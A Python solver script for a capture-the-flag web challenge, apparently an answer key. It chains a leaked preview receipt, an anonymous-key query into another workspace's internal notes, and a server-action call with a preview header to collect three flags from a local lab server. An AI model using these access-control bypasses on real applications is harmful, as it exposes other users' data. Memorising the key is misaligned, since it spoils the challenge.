#!/usr/bin/env python3 from __future__ import annotations import argparse import json from urllib import parse, request def get_json(base: str, path: str, headers: dict[str, str] | None = None): req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})}) with request.urlopen(req, timeout=5) as resp: return json.loads(resp.read().decode()) def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None): body = json.dumps(payload).encode() req = request.Request( base + path, data=body, method="POST", headers={ "Accept": "application/json", "Content-Type": "application/json", **(headers or {}), }, ) with request.urlopen(req, timeout=5) as resp: return json.loads(resp.read().decode()) def solve(base: str) -> list[str]: base = base.rstrip("/") bootstrap = get_json(base, "/api/app/bootstrap") build_manifest = get_json(base, bootstrap["api"]["buildManifest"]) stage1 = post_json( base, build_manifest["receiptRedeemEndpoint"], { "receipt": build_manifest["previewReceipt"], "project": build_manifest["project"], }, )["flag"] internal_query = parse.urlencode( { "select": "workspace_id,title,body", "workspace_id": "eq.ws-launchlet-internal", } ) notes = get_json( base, f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}", headers={ "apikey": bootstrap["client"]["anonKey"], "Authorization": f"Bearer {bootstrap['client']['session']}", }, ) stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body) stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1] refs = get_json(base, bootstrap["api"]["serverReferences"]) action = refs["serverActions"]["inspectDeploy"] stage3 = post_json( base, action["endpoint"], { "actionId": action["id"], "args": { "workspaceId": "ws-launchlet-internal", "projectId": "proj-enterprise-rollout", }, }, headers={"X-Launchlet-Preview": build_manifest["project"]}, )["flag"] return [stage1, stage2, stage3] def main() -> None: parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.") parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380") args = parser.parse_args() for flag in solve(args.url): print(flag) if __name__ == "__main__": main()